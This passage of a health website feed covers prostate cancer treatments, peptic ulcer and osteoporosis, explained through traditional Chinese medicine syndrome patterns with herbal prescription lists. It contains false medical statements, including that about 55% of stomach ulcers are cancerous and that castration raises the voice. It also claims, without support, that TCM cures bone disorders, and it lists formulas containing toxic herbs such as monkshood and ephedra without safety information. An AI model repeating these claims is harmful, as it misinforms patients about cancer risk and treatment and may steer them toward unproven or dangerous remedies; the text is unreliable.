Those men whose tumours are too advanced for surgery, who are considered unsuitable for surgery, or who would like to avoid the complications of surgery, may be given radiotherapy, where a radiation beam is directed at the prostate to burn away the cancer. This treatment may also be used to burn away secondary prostate cancers in the pelvic bones and spine to stop the pain caused by such tumours. In the right men, who are carefully selected according to the size and stage of their tumour, brachytherapy, a treatment where tiny radioactive implants are inserted into the prostate cancer, has been very successful. 

Chemotherapy

Advanced tumours or those thought likely to spread even after surgery may be treated with a combination of drugs able to kill cancer cells, known as chemotherapy. Doses and courses vary according to the oncologist’s assessment of which chemical is likely to be most effective but courses are usually given over several months. 

Hormone therapy

Because prostate cells are very sensitive to the male hormone testosterone, hormone therapy is given, usually as a long-acting injection, to block the effect of testosterone and delay the spread of advanced prostate cancer. Sometimes both testicles are surgically removed to achieve the same effect without using drugs. Unfortunately, this has marked side effects such as breast development, impotence, loss of sexual desire, and a change from a low to a higher voice, but it can effectively slow down the progression of the disease.

There are many ways to treat prostate cancer after a definitive diagnosis has been made. Western treatment methods: hormone therapy, surgery, chemotherapy and radiotherapy are important for curing or arresting disease progression. (See western medicine section.) However, due to the different side effects each option causes (i.e. inability to control urination, impotence and loss of sexual desire), these clinical methods still have limitations. 

TCM focuses on holistic healing and creating a harmonious balance in the body. The yin and yang philosophy is central to achieving balance and is used to identify good and evil health influences, distinguish between body excesses & deficiencies and to regulate the functions of the organs, qi, and blood. TCM can complement western medicine by helping to increase therapy efficacy, improve quality of life and in some cases prolong the lifespan. 

Surgery is an area in which TCM treatments can be especially useful. The mere act of surgery causes damage to a person’s body by exhausting its healthy energy and increasing blood loss causing an imbalance of yin and yang. TCM herbal preparations and other treatments such as acupuncture or qi gong used before and after the operation can reduce the damage from intra and post-operative complications, improve operation tolerance and promote health restoration. Before surgery, TCM preparations that invigorate qi, enrich the blood, strengthen the spleen and nourish the kidney and liver are generally chosen. Afterwards, preparations that tonify qi, nourish yin, promote blood circulation, resolve blood stasis, regulate the function of the spleen and stomach and improve the function the kidney and liver are used to restore the body’s health. Herbal prescriptions are adjusted when complicating factors such as a build up of phlegm, dampness, stasis, toxins and heat evils are impeding recovery. Aside from surgery, TCM herbal preparations have been shown in research studies to improve the efficacy of chemotherapy and radiotherapy and reduce their side effects. When deciding what herbal treatments to take, it is always best to consult a qualified TCM physician who can plan follow up visits with you to monitor how successful a particular treatment has been and to ensure the right care is being given.

Below are some examples of selected herbal prescriptions that are used by TCM doctors to treat the different syndromes associated with prostate cancer. 

Pathogenic Damp-heat accumulation in lower burner 
Therapeutic aim: Clear away damp-heat in the lower burner
Prescription: Sanmiao pellet

cang shu atractylodes root
huang bai amur cork-tree
niu xi twotooth-achyranthes root

Addition for individuals with dribbling after urination: 

shi wei shearer’s pyrrosia leaf
bi xie dioscorea hypoglauca root
tu fu ling glabrous greenbrier root

Addition for individuals with haematuria: (Blood in urine)

da ji Japanese thistle herb
xiao ji field thistle herb
niu xi twotooth (charred)

Therapy for Kidney-Yin ExhaustionTherapeutic aim: Nourish kidney–yin.Prescription: Zhibai Bawei pellet 

zhi mu common anemarrhena root
huang bai amur cork-tree
sheng di rehmannia root
shan yu ru Asiatic cornelian cherry fruit
fu ling Indian bread
ze xie oriental water plantain root
shan yao common yam root

Addition for individuals with severe cases:

gui ban tortoise shell

Therapy for Decline of Kidney-YangTherapeutic aim: Warm and nourish kidney–yang. 
Prescription: Jisheng Shenqi pellet 

shu di rehmannia root (processed)
shan yu ru Asiatic cornelian cherry fruit
shan yao common yam root
niu xi twotooth-achyranthes root
che qian zi plantain seed
fu zi prepared common monkshood daughter root
rou gui cassia bark

Addition for individuals with severe cases:

lu jiao shuang (degelatined)deerhorn
or or
lu rong pilose antler
ren shan ginseng

Syndrome differentiation must be accurate when using these medicinal substances for warming and nourishing kidney–yang. They should not be used for those withhyperactivity of excessive ministerial fire. 

Therapy for Hyperactivity of Heart-fireTherapeutic aim: Eliminate heart-fire.Prescription: Daochi powder 

sheng di rehmannia root
zhu ye bamboo leaf
sheng gan cao unprocessed liquorice root
mu tong vine of clematis armandi

Addition for individuals with urgency or dribbling after urination:

niu xi tan charred twotooth-achyranthes root
ren dong hua honeysuckle flower
tu fu ling glabrous greenbrier root

Therapy for Stagnation of Qi
Therapeutic aim: Regulate the functional activities of vital qi. 
Prescription: Chenxiang powder 

chen xiang Chinese eaglewood wood
shi wei pyrrosia leaf
chen pi dried tangerine peel
Huang bu liu xing cowherb seed
dong kui zi cluster mallow seed

Addition for individuals with blood stasis:

tao ren peach seed
hong hua safflower
]]> Peptic Ulcer http://acuherb.us/peptic-ulcer/ Tue, 03 Apr 2012 01:43:44 +0000 http://acuherb.us/?p=1463

By Dr. Kenneth Wang

Peptic ulcer disease (PUD) is a mixed group of disorders that involve the gastrointestinal (GI) tract. The stomach and duodenum (upper part of the intestine) are the most common locations where ulceration occurs. The rate of occurrence of PUD is variable and depends on ulcer type, age, gender and geographic location. For example, in Japan, stomach ulcers occur at five to ten times the rate of duodenal ulcers, while in the United States and most European countries duodenal ulcers are about two times as common as stomach ulcers.

Individuals with chronic peptic ulcer disease will experience periods of remission and recurrence of the disease, while acute peptic ulcers are limited to a specific patient population and clinical scenario. When left untreated, PUD may result in serious complications such as gastrointestinal bleeding and cancer. Stomach ulcers are much more likely to result in death or disability due to a greater likelihood of causing hemorrhage, perforation, or obstruction. In addition, while duodenal ulcers are almost never cancerous, approximately 55% of stomach ulcers are cancerous. 

Peptic ulcer is a terminology that belongs to modern medicine; there is no mention of it in the history of Traditional Chinese Medicine (TCM). Instead, because of the nature of its symptoms, it is categorized as “stomach ache” or “epigastric pain.” It is associated with the spleen, liver and gall-bladder because these organs play an important role in the development of the disease. 

According to the five elements theory, the spleen and stomach belong to earth, and the spleen has an interior-exterior relationship with the stomach. Both of these organs are responsible for the digestion, absorption and transportation of food, and control blood production and its circulation. 

The liver and gall-bladder belong to wood and they jointly regulate qi (vital energy) and the emotions, enhancing digestion and blood flow. In normal circumstances, wood (liver and gall-bladder) restricts the earth (spleen and stomach) which means that the spleen and stomach are under the control of the liver and gall-bladder. If the liver is hyperactive, it unduly restricts functioning of the spleen, causing an imbalance in the body. According to the five elements theory, the resulting situation is described as “wood overacting on earth.”

Causes

According to TCM, peptic ulcer can be caused by any of the following: 

1. Dietary injury
Diet is an important cause of  stomach disorders. The stomach receives and ripens food; the spleen transforms and transports refined nutrient essence up towards the lungs, whilst the stomach sends waste down towards the intestines. The descending function of the stomach corresponds with the ascending function of the spleen, and this is crucial in ripening, transporting and transforming nutrient essence and wastes in the middle burner. Improper eating habits affect the stomach easily which leads the stomach-qi to flow in the wrong direction, and results in nausea, vomiting, hiccups or belching.

2. Emotional distress 
Emotional problems have a profound influence on stomach disorders. When emotions such as anxiety, pensiveness, grief and anger predominate, liver yang ascends and liver qi stagnates which, in turn, affects the functioning of the spleen and stomach. In the absence of the liver’s regulatory function, the spleen cannot successfully transport and transform food into qi and blood, and the stomach cannot send waste down to the intestines. This causes epigastric pain, belching or nausea.

3. Weakness of spleen and stomach
This may be due to genetic constitutional weakness, or mental over-exertion over a long period. A person tends to get digestive problems like a poor appetite, vomiting or diarrhea, and possibly also muscle weakness and low energy. When attacks from pathogenic factors become more serious, stomach disorders occur easily.

Symptoms

Gastric pain, a major manifestation of peptic ulcer, usually occurs in the epigastric region or upper abdomen. Episodes of pain may be periodic, rhythmic or chronic. If seasonal, the pain usually occurs in late autumn, and the nature of pain is manifested as a dull, stabbing, distending, burning or hunger pain. Among the different types of pain, intermittent mild dull pain is most frequent. This usually lasts one or two hours but, in rare cases, it can last several days. The pain can be relieved by alkaline drugs or food. Along with pain, associated symptoms are belching, sour regurgitation, excessive saliva, nausea or vomiting. 

The location of gastrointestinal (GI) ulcer can be implied by the symptoms. People with stomach ulcers usually complain of pain being caused or worsened by food. They also describe the pain as being widespread over the lower abdomen. When someone has a duodenal ulcer the pain is typically described as sharp and burning in nature with a specific point of tenderness. In contrast to stomach ulcers, people with duodenal ulcers usually experience relief of pain with food.

Other symptoms of a duodenal ulcer include a feeling of abdominal pressure, fullness or hunger. People with duodenal ulcers may also be awakened at night due to the normal nighttime peak in acid secretion. It is important to be aware of “alarm symptoms” which can be present in people who have serious complications from peptic ulcer disease (PUD) such as bleeding or people with stomach cancer. These “alarm symptoms” include weight loss, vomiting, back pain, vomit that has the appearance of “coffee grounds” and dark tarry stools.

 

Diagnosis

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and observation of symptoms. A diagnosis is based on the traditional four examination techniques:

1. Questioning The TCM practitioner will establish the medical history of both the patient and his family.
2. Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
3. Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
4. Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

For details, please see article on “What to Expect from a TCM Doctor’s Examination“. 

TCM practitioners will usually begin with a thorough investigation of the patient’s complaints and categorize the symptoms under special syndrome groups known as “disharmony patterns.” The disharmony patterns are present at different stages of a disorder. The practitioners will look at both the major manifestations, and “disharmony patterns” which are described below: 

1. Qi stagnation
The patient feels distending pain in the epigastric region, and fullness and oppression in the hypochondrium (the upper lateral sides of the abdomen). These symptoms would worsen with emotional disturbance, and can be relieved by discharge of intestinal gas or belching. The patient tends to sigh, has a poor appetite and experiences oppression in the chest and sour regurgitation. On examination, the tongue is covered by a thin white fur, and the pulse is taut. 

2. Heat retention
The patient feels a burning pain in the epigastric area. Eating offers no obvious relief; instead, it may even make the symptoms worse. The mouth is dry with a bitter taste. Other symptoms include thirst and a desire for cold drinks, sour regurgitation, irritability, clamoring stomach and constipation. On examination, the tongue is red with yellow fur, and the pulse is taut or rapid. 

3. Yin deficiency
The patient feels a dull, burning epigastric pain which becomes worse on an empty stomach. Other associated symptoms include thirst and a disinclination to drink, dryness of the mouth, poor appetite, retching, constipation, and a feverish sensation in the palms, soles and chest. On examination, the tongue is red and dry, with cracks in the central portion. It is covered with little or scattered, cracked fur. The pulse is thready or rapid.

A pale tongue with indented margin, the cracks in the central portion indicate spleen and stomach dysfunction.

4. Deficient cold
The patient feels a dull epigastric pain which tends to ease with warmth and massage. An attack can be easily induced or worsened by over-exertion. The pain worsens on an empty stomach. Although the pain can be relieved by eating, abdominal distention will follow. Other associated symptoms are fatigue, sleepy, reluctance to speak, and loose stools. On examination, the tongue is pale and bulky with indented margin, and it is covered by a thin white fur. The pulse is deep, thready or slow.

5. Blood stasis 
The patient experiences a fixed, stabbing pain in the epigastric area. But when the pain becomes extreme, it sometimes radiates towards the chest and the back. This may be accompanied by coldness of the limbs, sweating, vomitting blood or blood in the stools. On examination, the tongue is dark purple, and may have bruises or patches on the surface. The pulse is hesitant.

In general, during the pathological course of peptic ulcer, the above syndromes develop at different stages. In the early or active stages of peptic ulcer, qi stagnation and heat retention syndromes are quite common. TCM terms these as a sthenia or excess (shi) syndromes in which the body offers a relatively strong resistance. 
In the late or recovery stages of peptic ulcer, yin deficiency and deficient cold syndromes are more common. TCM terms these as a sthenia or deficiency (xu) syndromes in which the body’s resistance is very weak. 
Blood stasis syndromes can develop at any stage, but occurs mostly in the middle and late stages. The syndrome has a deficiency nature but presents excitatory signs, or having both excess and deficiency syndromes inter-mixed.

Treatment

In TCM, treatment for peptic ulcer is based on “disharmony patterns,” or therapies according to the western symptoms of peptic ulcer syndromes. An alternative is to integrate western and Chinese approaches to create a synergetic effect on the disease, thus enhancing clinical efficacy. The following are brief introductions to TCM approaches:

A. Treatment based on TCM syndromes

Qi stagnation 

Therapeutic aim: Soothing the liver to regulate qi. Commonly used prescriptions are modified chaihu shugan tang, sini sanand xiaoyau san.

Sample of Prescription: chaihu shugan tang

chai hu Chinese tororwax root
chen pi dried tangerine peel
shao yao peony
zhi ke bitter orange
zhi gan cao liquorice root (processed with honey)
chuan xiong Szechuan lovage
xiang fu nut grass

Heat retention

Therapeutic aim: Soothing the liver and eliminating heat. Commonly used prescriptions are modified huagan jian, zuojin wan and banxia xiexin tang.

Sample of prescription: banxia xiexin tang

ban xia pinella tuber
huang qin baical skullcap
gan jiang fried ginger
ren shen ginseng
zhi gan cao liquorice root (processed with honey)
huang lian golden thread
da zao common jujube fruit

Yin deficiency

Therapeutic aim: Nourishing yin to strengthen the stomach. Commonly used prescriptions are modified 
yiguan jian, yangwei tang and liuwei dihuang tang.

Sample of Prescription: yiguan jian

sha seng adenophora
mai dong dwarf Lily-turf
dang gui Chinese angelica root
sheng di dried rehmannia root
qi zi Chinese wolfberry fruit
chuan lian zi toosendan fruit

Deficient cold

Therapeutic aim: Warming the middle burner to strengthen the spleen. Commonly used prescriptions are modified huangqi jianzhong tang, sijun zi tang, lizhong tang and liangfu wan.

Sample of Prescription: huangqi jianzhong tang

huang qi Mongolian milkvetch root
gui zhi cassia twig
zhi gan cao liquorice root (processed with honey)
da zao common jujube fruit
shao yao peony
sheng jiang fresh ginger
yi tang maltose


Blood stasis

Therapeutic aim: Activating blood to resolve stagnation. Commonly used prescriptions are xuefu zhuyu tang and gexia zhuyu tang.

Sample of Prescription: xuefu zhuyu tang

dang gui Chinese angelica root
sheng di dried rehmannia root
tao ren peach seed
hong hua safflower flower
zhi ke bitter orange
chi zhao common peony root
niu xi twotooth achyranthes root
jie geng balloonflower root
chuan xiong Szechuan lovage
chai hu Chinese tororwax root
gan cao liquorice root

During the treatment, herbs like liquorice root (gan cao), tendrilleaf fritillary bulb (chuan bei), common bletilla tuber(bai ji), notoginseng (san qi) rhubarb (da huang) are added in the prescription for additional relief of dyspeptic symptoms. Some prescriptions to astringe (lessen) acid secretion are effective for related complaints, e.g. mixed powder of thunberg fritillary bulb(zhe bei mu) and cuttle-fish bone (wu zei gu) can be used. 

B. Single Proven Prescription

In practice, a lot of recipes have been proved effective against the disease but were not listed in medical journals. These recipes do not follow any particular diagnostic rules in TCM but are used only when the disease is confirmed as peptic ulcer. For example pearl powder is effective in providing relief from symptoms and speeding up the healing of an ulcer. 

C. Acupuncture and moxibustion

This method is used to provide pain relief, and commonly applied according to the differentiation of the affected meridian. For example, in the case of liver and stomach disharmony, acu-points in the Leg Yang Ming Stomach Meridian and Leg Jue Yin Liver Meridian are chosen. 

 

]]> Osteoporosis http://acuherb.us/osteoporosis/ Fri, 30 Mar 2012 19:57:55 +0000 http://acuherb.us/?p=1459

Osteoporosis is a debilitating condition of skeletal fragility that predominantly affects women and is particularly common in the elderly. It is a metabolic bone disease characterized by a parallel reduction in bone mineral density and bone matrix, leading to deterioration of the micro-architecture of bone tissue and impairment of the structural integrity of trabecular bone (the inner part of bone that consists of a meshwork of bony bars with numerous interconnecting spaces containing marrow). The consequence is that although the bone tissue has normal composition and proper mineralization, the bone mass (density) is reduced and the bone becomes more fragile. To establish a diagnosis of osteoporosis, the individual bone mineral density is compared with the peak bone mass measurement in the healthy young adult. This comparison is made by means of standard deviation (SD) units (T scores). Clinically, a patient is said to suffer from osteoporosis if his/her bone density falls 2.5 SD below the mean of normally mineralized bone, calculated in comparison to age-, sex-, and race-matched controls (a T score of  2.5). For example, compared to standardized bone density measurements of the total hip of 833 mg/cm2, in osteoporosis, the same measurements will be lower than 648 mg/cm2(World Health Organization). If not prevented or if left untreated, osteoporosis can progress painlessly until a bone breaks. Any bone can be affected, but of special concern are fractures of the hip and spine. A hip fracture almost always requires hospitalization and major surgery. It can impair the ability to walk unassisted and may cause prolonged or permanent disability, or even death. Spinal or vertebral fractures also have serious consequences, including loss of height, severe back pain and deformity.

Multiple etiologic factors of osteoporosis have been identified, which give the various disease types their names.

Postmenopausal, estrogen-deficient osteoporosis
Age-related osteoporosis
Diet-related bone loss
Disuse osteoporosis
Endocrine-mediated bone loss
Disease-related bone loss
Drug-induced bone loss
Heritable osteoporosis

Statistics

Osteoporosis is a major public health concern that affects more than 28 million Americans, 80 per cent of whom are women. Women are more likely than men to develop osteoporosis because, as a group, they have lighter bones, less total calcium, and also lose bone at a rate three times greater than that of men. In the US today, 10 million individuals have the disease and 18 million more have low bone mass, placing them at increased risk for osteoporosis. Ten per cent of African-American women over the age of 50 years have osteoporosis; an additional 30 per cent have low bone density that puts them at risk of developing osteoporosis. Significant risk has been reported in people of all ethnic backgrounds.

The disease accounts for more than 1.5 million fractures per year in the US: one out of every four women by the age of 70 develops an osteoporotic fracture; and one in two women and one in eight men over the age of 50 will have an osteoporosis-related fracture in their lifetime. These fractures include the following (approximate figures):

300,000 hip fractures
700,000 vertebral fractures
250,000 wrist fractures
300,000 fractures at other sites

Osteoporosis is defined in Western medicine as loss of bone density. The disease is most commonly seen in women and is characterized by reduced bone mass, deterioration of bone tissue and an increased risk of bone fractures. It is induced by a physiological degeneration within the body that affects the formation and loss of bone tissue.

The skeleton is the frame of body that protects the internal organs and allows movement. Cavities within the bone store bone marrow, which nourishes the bones and helps manufacture cells such as red and white blood cells and platelets. TCM believes that bone growth is controlled by the kidneys and that the bone marrow is derived from the essential qi or essence of the kidney, called jing. In recent years, many bone disorders have been successfully cured by TCM practitioners through treatment of the kidney. 

In the traditional Chinese medicine (TCM) classic Huang Di Nei Jing (The Yellow Emperor’s Medicine Classic), bone diseases with similar symptoms to osteoporosis were given names like “bone flaccidity syndrome,” “withered bone syndrome,” “arthralgia syndrome” and “bone atrophy syndrome.” These syndromes refer to various kinds of bone diseases, but share the common symptom of reduced bone mass. Modern TCM practitioners believe that the features of “bone flaccidity syndrome” and “bone atrophy syndrome” are most consistent with today’s understanding of osteoporosis.

Causes

Bone quality is a significant factor that affects the development of osteoporosis. This parameter is determined by bone mass (as measured by bone density) and also by the micro-architecture of bone. Bone density at any given time depends on both the peak bone density achieved during development and subsequent adult bone loss. Collectively, these affect the relative intactness of bones, with respect to tensile strength, fragility and freedom from fatigue damage. Many studies demonstrate the ability of bone density to predict fractures, especially fragility fractures (those caused by minor trauma). The risks vary depending on the populations studied and on the technique of measuring the bone density.

Nonmodifiable risk factors

Advanced age : Bone density increases dramatically during puberty in response to gonadal hormone release and eventually reaches values in young adults that are nearly double those of children. After peak bone density is reached, bone density remains stable for years and then declines.
Gender : Considerable evidence suggests that bone loss begins before menses cease in women and in the third to fifth decade in men. In women, once the menopause is established, the rate of bone loss is accelerated several-fold. The chances of developing osteoporosis are greater for woman because they have less initial bone tissue and lose it more rapidly because of the changes involved in the menopause.
Family history and personal history of fractures as an adult : Susceptibility to fracture may be, in part, hereditary. Young women whose mothers have a history of vertebral fractures also seem to have reduced bone mass. A personal history of a fracture as an adult also increases fracture risk.
Race : Caucasian and Asian women are more likely to develop osteoporosis..


Potentially modifiable risk factors 

Bone structure and body weight : Small-boned, fair-skinned, and thin women are at greater risk.
Estrogen deficiency : Normal or early menopause (brought about naturally or because of surgical removal of the ovaries) increases the risk of developing osteoporosis. A menstrual history of late-onset menses, or of amenorrhea (absence of menstrual periods) also increases risk.
Lifestyle : Stress, smoking, excess alcohol consumption, and a sedentary lifestyle are associated with the development of osteoporosis.
Diet : A high intake of caffeine, phosphorous, or protein, and a diet poor in calcium and vitamin D affect bone formation.
Poor eyesight : Impaired eyesight despite adequate correction can lead to falls.
Poor health/frailty Medications : A number of drugs taken for other conditions can have an affect on osteoporosis, either because they interfere with bone formation or accelerate its loss.
Chronic health problems : Diseases such as chronic liver disease, chronic liver failure, endocrinopathies (eg, diabetes, hyperthyroidism), malabsorption syndromes, rheumatoid arthritis, and chronic anorexia can also be risk factors for osteoporosis.

From TCM’s viewpoint, osteoporosis is caused by a kidney deficiency. As people get older, the essential qi (jing) of the kidney gradually declines and results in a lack of nutrients for the bones to grow and function properly. This causes the bones to become fragile and break or deform easily. Bone fractures can be hard to heal due to the lack of nourishment and kidney deficiency.

The causes of kidney deficiency leading to osteoporosis are as follows: 

1. Exhaustion of kidney essence.
Kidney essence may be depleted in one of three ways:

A congenital deficiency (a deficiency you are born with) and the aggravation of external factors, such as excessive sexual activities and frequent childbirth, cause the kidney essence to become severely depleted. This leads to loss of bone nutrients.
The elderly are especially vulnerable to osteoporosis if they do not take good care of their bodies because the depletion of kidney essence accelerates with age.
Exogenous pathogens can easily invade and damage the kidney when vital qi (energy) is insufficient. This causes the development of osteoporosis. .
2. Acquired Deficiency
Under normal conditions, the spleen and stomach are responsible for changing digested nutrients into qi, blood, and acquired (postnatal) jing. Over-consumption of alcohol and food can damage the spleen and stomach and reduces the amount of jing available to nourish the bone, bone marrow and muscle. Additionally, when the stomach and spleen dysfunction, a decline in formation of qi and blood results and this can contribute to osteoporosis development.
3. Invasion of exogenous pathogens
Osteoporosis can occur when external cold and dampness evils, which are exogenous pathogens, invade the body and impair the vital qi (energy) and kidney qi. This leads to a deficiency of kidney essence (jing) and a failure in the bone marrow to replenish the nutrients needed to retain bone strength. Other symptoms such as lumbago (back pain) and arthralgia (joint pain) can occur when cold and dampness evils stagnate in the tendons and joints, blocking the circulation of qi and blood in that area. 

TCM followers believe that external cold and dampness pathogens can invade the body under the following conditions:

Living in cold and moist areas for a long time
Exposure in a windy place while drinking alcohol
Bathing or taking a shower while sweating
Eating too much cold food and
Lying in damp and moist open areas such as wet grassy fields.

Symptoms

The clinical symptoms of primary osteoporosis are:

Lumbago (back pain)
Decrease in body height and /or hump back (kyphosis) giving a stooped appearance
Bones that easily fracture
Difficulty in breathing due to malformation of the back limiting the amount of air that can be inhaled.

Persons with osteoporosis will also be diagnosed with a TCM disharmony pattern. (See diagnosis section). Each disharmony pattern displays different symptoms, which are described as follows:

1. Yin deficiency of the liver and kidneys
  The individual experiences soreness and pain in the back and loins, weakness in the loins and knee joints, general weakness and fatigue, dryness of the mouth and throat, a hot sensation in palms and soles, and night sweating or spontaneous sweating.
2. Blood deficiency and excessive dampness
  This manifests as soreness and pain in the back and loins, a hump back, pale complexion, heart palpitations and dizziness. There may also be pain and soreness in the joints or the lower limbs may be swollen.
3. Retention of dampness and kidney deficiency
  This disharmony pattern is characterized by lower back pain, localized chills, weakness and soreness in the loins and knees. In severe cases the lumbar vertebrae (lower back bones may collapse or a hump back develop. Additional symptoms are a cold feeling in the limbs, urinary frequency, and an aversion to the cold. The symptoms may be aggravated in a cold environment or with a drop in the ambient temperature.
4. Asthenia-syndrome of superficies and interior dampness retention
  The individual suffers from pain in the hip and back, joint swelling, sweating and has an aversion to wind (coldness). A sense of heaviness may also be felt.
5. Cold in the superficies and heat in the interior
  The symptoms here are body aches and sweating, and an aversion to cold temperatures. Additional symptoms can include dry mouth, thirst, and constipation.
6. Marrow deficiency and channel bi-syndrome
  The individual experiences pain in lumbar region. In severe cases, the lumbar vertebrae may collapse or a hump back may occur. Joints can become deformed and develop limited movement. Individuals may also experience dizziness, heart palpitations, and shortness of breath.

Diagnosis

Osteoporosis is an insidious disease that can remain silent for decades before the bone is weakened to the point that it sustains a spontaneous fracture. The earliest signs of osteoporosis are often associated with compression fractures of the spine characterized by an episode of acute pain in the middle to low thoracic or high lumbar region . Decrease in height and appearance of a dowager’s hump are reliable indicators of the early progress of the disease. Also, the patient often reports early satiety and a bloated feeling after eating only a small amount of food. 

A bone mineral density (BMD) test is the only way to diagnose osteoporosis and determine an individual’s risk for future fracture. It measures the density of the bones (bone mass) and will indicate whether medication is needed to help maintain bone mass, prevent further bone loss and reduce fracture risk. The BMD test is accurate, painless and noninvasive. It is also possible to determine the rate of bone loss and/or monitor the effects of treatment if tests are conducted at intervals of a year or more.

Criteria approved for BMD tests are summarized below:

estrogen-deficient women at clinical risk of osteoporosis.
vertebrate abnormalities on x-ray suggestive of osteoporosis (osteopenia, vertebral fracture)
primary hyperparathyroidism – abnormal function of the parathyroid glands itself which result in high level of blood calcium.
monitoring response to an FDA-approved medication for osteoporosis.

For an uncomplicated patient with osteoporosis, a laboratory work-up may be recommended in addition to a BMD test. 

Based on four examination techniques, TCM practitioners will diagnosis osteoporosis according to its clinical symptoms and further characterize it by the disharmony patterns displayed by each individual. At various stages of disease, different disharmony patterns are present and individuals with the same disease will be treated differently depending on the type of disharmony pattern they have. 

The common disharmony patterns of osteoporosis are:

1. Yin deficiency of the liver and kidneys
  When the body perceives that it is inadequate in bone marrow, the liver and kidney will hyper-function to compensate. This results in a relative yin deficiency inside the body. Virtual “fire” is produced and presents as heat symptoms. On examination, the tongue is red with a scanty thin fur coating. The pulse feels thready and rapid.
2. Blood deficiency and excessive dampness
  Improper functions of the spleen and stomach lead to a decline in the production of blood and bone marrow, plus an accumulation of dampness. It gives rise to a non-smooth flow of blood and qi, which in turn supply inadequate nutrients to the bones. People may feel weakness, back pain or joint pain. On examination, the tongue is pale and covered with greasy fur. The pulse sign is deep and rolling.
3. Retention of dampness and kidney deficiency
  The kidneys govern water, produce marrow, dominate the bones and manufacture blood. The kidney yang energy is the source of all heat in the body. Kidney deficiency occurs when cold and dampness evils damage the kidneys. This results in inadequate kidney essence (jing) to supply the bone marrow and causes deterioration of the bones. Symptoms can manifest as back pain and hump back. On examination, the tongue is pale and covered with white greasy fur. The pulse feels deep, thready and stringy.
4. Asthenia-syndrome of superficies and interior dampness retention
  This is a morbid condition resulting from the exposure to exogenous pathogens in a person whose organs, like the spleen and stomach, are in a hypo-functioning state. When the body accumulates lot of evils (most likely dampness and coldness), stagnation of qi flow in the meridians and the joints occurs and results in impairment of organ and bones, which leads to symptoms of sluggishness, tired and heavy limbs, and joint pain. On examination, the tongue has a white coating. The pulse sign is deep and rolling.
5. Cold in the superficies and heat in the interior
  This morbid condition results from the wind and cold evils that accumulated in the superficial regions of body has invaded interiorly and transformed into heat evil. This process manifests as both heat and cold syndromes clinically. These syndromes cause kidney damage and lead to failure supply of kidney essence (jing) for bone growth. On examination, the tongue is red and covered with white greasy fur, or yellow-colored fur. The pulse feels thready, stringy and rapid.
6. Marrow deficiency and channel bi-syndrome
  When marrow is seriously exhausted, the body skeleton loses nutrients. The accumulated evils block the channels or meridians that are the paths for transportation of nutrients and this accelerates the bone deterioration. The person presents with serious symptoms like severe bone or joint pain and bone distortion. On examination, the complexion may appear pale or dark in color. The tongue is dark red, and covered with white greasy fur. The pulse feels deep and stringy.

Treatment

A blend of Western and TCM approaches can be of benefit in the treatment of osteoporosis. Often a combined treatment produces better outcomes than the exclusive use of one method. It is best to get the advice of a TCM practitioner who knows what is best for you and your condition. The treatments described below are some approaches that may be taken to treat the different TCM syndromes associated with osteoporosis.

1. Yin deficiency of liver and kidney


Therapeutic aim:Nourishes yin for kidney and liver, replenishes jing and marrow.

Prescription: liuwei dihuang pellet with modification

gan di huang dry rehmannia root
shan yu rou Asiatic cornelian cherry fruit
huai shan yao common yam root
fu ling Indian bread
dan pi tree peony bark
gou qi chi Barbary wolfberry fruit
chuan duan Himalayan teasel root

In this prescription, rehmannia, cornelian cherry and wolfberry are used to nourish the yin of the liver and kidneys; peony bark clears away heat evil and nourishes yin. Common yam and Indian bread invigorate the spleen and eliminate dampness evil; they also counteract the greasy properties of the other herbs. Teasel root tonifies the kidneys and strengthens tendons and bones. 

2. Blood deficiency and excessive dampness


Therapeutic aim: Nourishes the blood and dispels dampness evils. 

Prescription: Danggui Shaoyao powder plus additional supplement

dang gui Chinese angelica
bai shao white peony root
fu ling Indian bread
bai zhu large head atractylodes root
ze xie oriental waterplantain rhizome
chuan xiong Szechuan lovage root
fang ji four stamen stephania root
gui zhi cassia twig
gan jiang dried ginger
gan cao liquorice root

In the prescription, angelica, peony root and lovage root are used to activate blood circulation and nourish the blood. Cassia can remove obstruction in the meridians, activate blood circulation, and relieve joint pain. Indian bread, atractylodes root, waterplantain rhizome, and stephania root are used to invigorate the spleen and eliminate dampness evil. Ginger and liquorice root warm the middle burner and ease the stomach. Additionally, angelica, peony root, and lovage root can stimulate blood production. Indian bread, atractylodes root and cassia also eliminate the dampness evil and relax the tendons, as well as nourishing the tendons and bones.

3. Retention of dampness due to kidney deficiency

Therapeutic aim: Warms the yang and dispels dampness evils. 

Prescription: zhenwu decoction plus additional supplement 

zhi fu pian prepared common monkshood daughter root
bai shao white peony root
sheng jiang fresh ginger
fu ling Indian bread
bai zhu large head atractylodes root
gui zhi cassia twig
bu gu zhi malaytea scurfpea fruit
chuan duan Himalayan teasel root
sang ji sheng Chinese taxillus herb
xing ling pi epimedium herb
ji xue teng suberect spatholobus stem

In the prescription, monkshood and epimedium are used to warm the yang or the body. Ginger, Indian bread and atractylodes warm the middle burner (spleen and stomach) and promote the secretion of urine. Peony root, cassia and spatholobus nourish the blood and remove obstruction in all the meridians. Scurfpea, teasel and taxillus nourish the kidney and strengthen the bones, loins, and legs. 

4. Asthenia-syndrome of superficies with interior dampness retention

Therapeutic aim: Strengthens the middle burner, benefits the qi, harmonizes nutrients and defends qi. It does this by providing a yang energy in the body derived from the digestion and absorption of foods by the spleen and stomach. This helps protect the skin and muscle, provides resistance against the exogenous pathogens and regulates the secretion of sweat.

Prescription:fangyi huangqi decoction with modification

sheng huang qi fresh milkvetch root
fang ji four-stamen stephania root
sheng jiang fresh ginger
da zao Chinese date
gan cao liquorice root
gui zhi cassia twig
bai shao white peony rooti
cang zhu atractylodes root
sheng long ku unprocessed fossil fragment
sheng mu li fresh oyster shell

In the prescription, cassia, ginger, date, liquorice and milkvetch are used to tonify the stomach, nourish the middle burner, and benefit the qi. Peony root nourishes the qi and regulates the blood circulation. Stephania and atractylodes eliminate dampness evil and relieve joint pain. Fossil and oyster shell arrest premature ejaculation and sweating. The synergistic action of the herbs in this recipe consolidate body resistance, eliminate fluid retention, replenish the kidney and blood, and nourish muscles and bones. 

5. Cold in the superficies and heat in the interior

Therapeutic aim: Expels superficial pathogens and clears away heat evil.

Prescription: Yuebi Jiashu decoction with modification

ma huang ephedra
cang zhu atractylodes root
sheng jiang fresh ginger
